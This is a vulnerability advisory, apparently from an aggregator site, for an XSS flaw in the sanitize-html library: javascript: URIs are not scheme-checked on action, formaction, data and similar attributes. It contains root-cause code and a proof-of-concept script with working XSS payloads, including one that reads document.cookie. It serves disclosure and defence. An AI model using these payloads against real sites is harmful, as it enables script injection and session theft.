🛡️ CVE-2026-53606 — sanitize-html
Description
sanitize-html has incomplete URI scheme validation in that allows javascript: URIs through action, formaction, data, poster, and background attributes
Summary
sanitize-html uses allowedSchemesAppliedToAttributes (default: ['href', 'src', 'cite']) to gate the naughtyHref() function that blocks dangerous URI schemes like javascript: and vbscript:. The HTML specification defines 10+ attributes that accept URIs (action, formaction, data, poster, background, ping, xlink:href, dynsrc, lowsrc), but none of these are included in the default gate list. When a developer allows any of these attributes in their configuration, javascript: URIs pass through completely unmodified, enabling XSS.
The library has zero awareness of these URI-bearing attributes — none appear anywhere in the 854-line source file (verified by grep). No warning mechanism exists, and the README provides no security guidance about expanding allowedSchemesAppliedToAttributes when allowing form or media attributes.
Severity
Exploitation requires non-default configuration: the developer must explicitly allow a non-default tag (e.g., form) AND a non-default attribute (e.g., action). Default configuration is NOT vulnerable. However, this is a common configuration pattern for CMS platforms, form builders, and rich content editors.
Affected Versions
All versions of sanitize-html from v1.18.0 (which introduced allowedSchemesAppliedToAttributes) through at least v2.17.2. The default list has been ['href', 'src', 'cite'] since introduction and has never been expanded.
Root Cause
File: index.js:329 (sanitize-html 2.10.0, confirmed same in 2.17.x)
```javascript
// Line 329 — The gate that controls scheme validation
if (options.allowedSchemesAppliedToAttributes.indexOf(a) >= 0) {
if (naughtyHref(name, value)) {
delete frame.attribs[a];
return;
}
}
```
Default list at line 829:
```javascript
allowedSchemesAppliedToAttributes: ['href', 'src', 'cite'],
```
The naughtyHref() function (lines 627-667) correctly blocks javascript:, vbscript:, and other dangerous schemes. However, it has exactly 2 call sites in the entire codebase (lines 330 and 395), both inside the indexOf gate. There is no ungated path.
When attribute name is action, formaction, data, poster, background, etc.:
indexOf('action')returns-1- The
ifblock is skipped entirely naughtyHref()is never calledjavascript:alert(1)passes through unmodified
The escapeHtml() function at line 464 provides no defense — it only encodes & < > " characters, which are not present in javascript:alert(1).
Data Flow:
```
Attacker input: <form action="javascript:alert(document.cookie)">
1. htmlparser2 parses → tag='form', attribs={action:'javascript:alert(document.cookie)'}
2. index.js:298 → allowedAttributes check: 'action' in developer config → PASS
3. index.js:329 → ['href','src','cite'].indexOf('action') → -1 → SKIP naughtyHref()
4. index.js:464 → escapeHtml('javascript:alert(document.cookie)') → unchanged
5. OUTPUT: <form action="javascript:alert(document.cookie)">
```
Steps to Reproduce
```javascript
const sanitize = require('sanitize-html');
// ===== VECTOR 1: form action (100% reliable, all modern browsers) =====
const v1 = sanitize(
'<form action="javascript:alert(document.cookie)"><button>Submit</button></form>',
{
allowedTags: ['form', 'button'],
allowedAttributes: { form: ['action'] }
}
);
console.log('V1 (action):', v1);
// OUTPUT: <form action="javascript:alert(document.cookie)"><button>Submit</button></form>
// XSS triggers when user submits the form
// ===== VECTOR 2: button formaction (100% reliable) =====
const v2 = sanitize(
'<button formaction="javascript:alert(1)">Click</button>',
{
allowedTags: ['button'],
allowedAttributes: { button: ['formaction'] }
}
);
console.log('V2 (formaction):', v2);
// OUTPUT: <button formaction="javascript:alert(1)">Click</button>
// ===== VECTOR 3: object data =====
const v3 = sanitize(
'<object data="javascript:alert(1)"></object>',
{
allowedTags: ['object'],
allowedAttributes: { object: ['data'] }
}
);
console.log('V3 (data):', v3);
// OUTPUT: <object data="javascript:alert(1)"></object>
// ===== CONTROL: href IS scheme-checked (expected behavior) =====
const ctrl = sanitize(
'<a href="javascript:alert(1)">click</a>',
{
allowedTags: ['a'],
allowedAttributes: { a: ['href'] }
}
);
console.log('Control (href):', ctrl);
// OUTPUT: <a>click</a> ← href correctly stripped by naughtyHref()
```
Observed behavior: javascript: preserved on action/formaction/data but correctly stripped on href.
Expected behavior: javascript: should be stripped on ALL URI-bearing attributes, or at minimum, the library should warn developers when they allow URI-bearing attributes not covered by scheme validation.
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. A user must be tricked into taking some action. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality low, integrity low, availability none.
Weakness class
CVE-2026-53606 is classified as CWE-79: Cross-site Scripting (XSS). User-supplied data is written into a page without escaping, so attacker script runs in the browser of anyone who views it.
Affected software
CVE-2026-53606 is recorded against 2 packages.
- sanitize-html
- unknown
Timeline and source
Published on 31 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
References
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)
Details
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| sanitize-html | — | — |
| unknown | — | — |
References
Similar Threats
- Unknown CLSA-2026-1786373316
- Unknown CLSA-2026-1775003160
- Unknown CLSA-2026-1776644763
- Unknown CLSA-2026-1776645373
- Medium ROOT-APP-NPM-CVE-2021-26540
More CVE 2026 advisories
Browse all of CVE 2026 in the advisory index.
Vulnerability Monitoring
Track new vulnerabilities in sanitize-html
CVE-2026-53606 is rated CVSS 5.4 Medium. BotEraser monitors your WordPress installation and notifies you when software you use appears in our vulnerability database.
Set Up Free Alerts →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.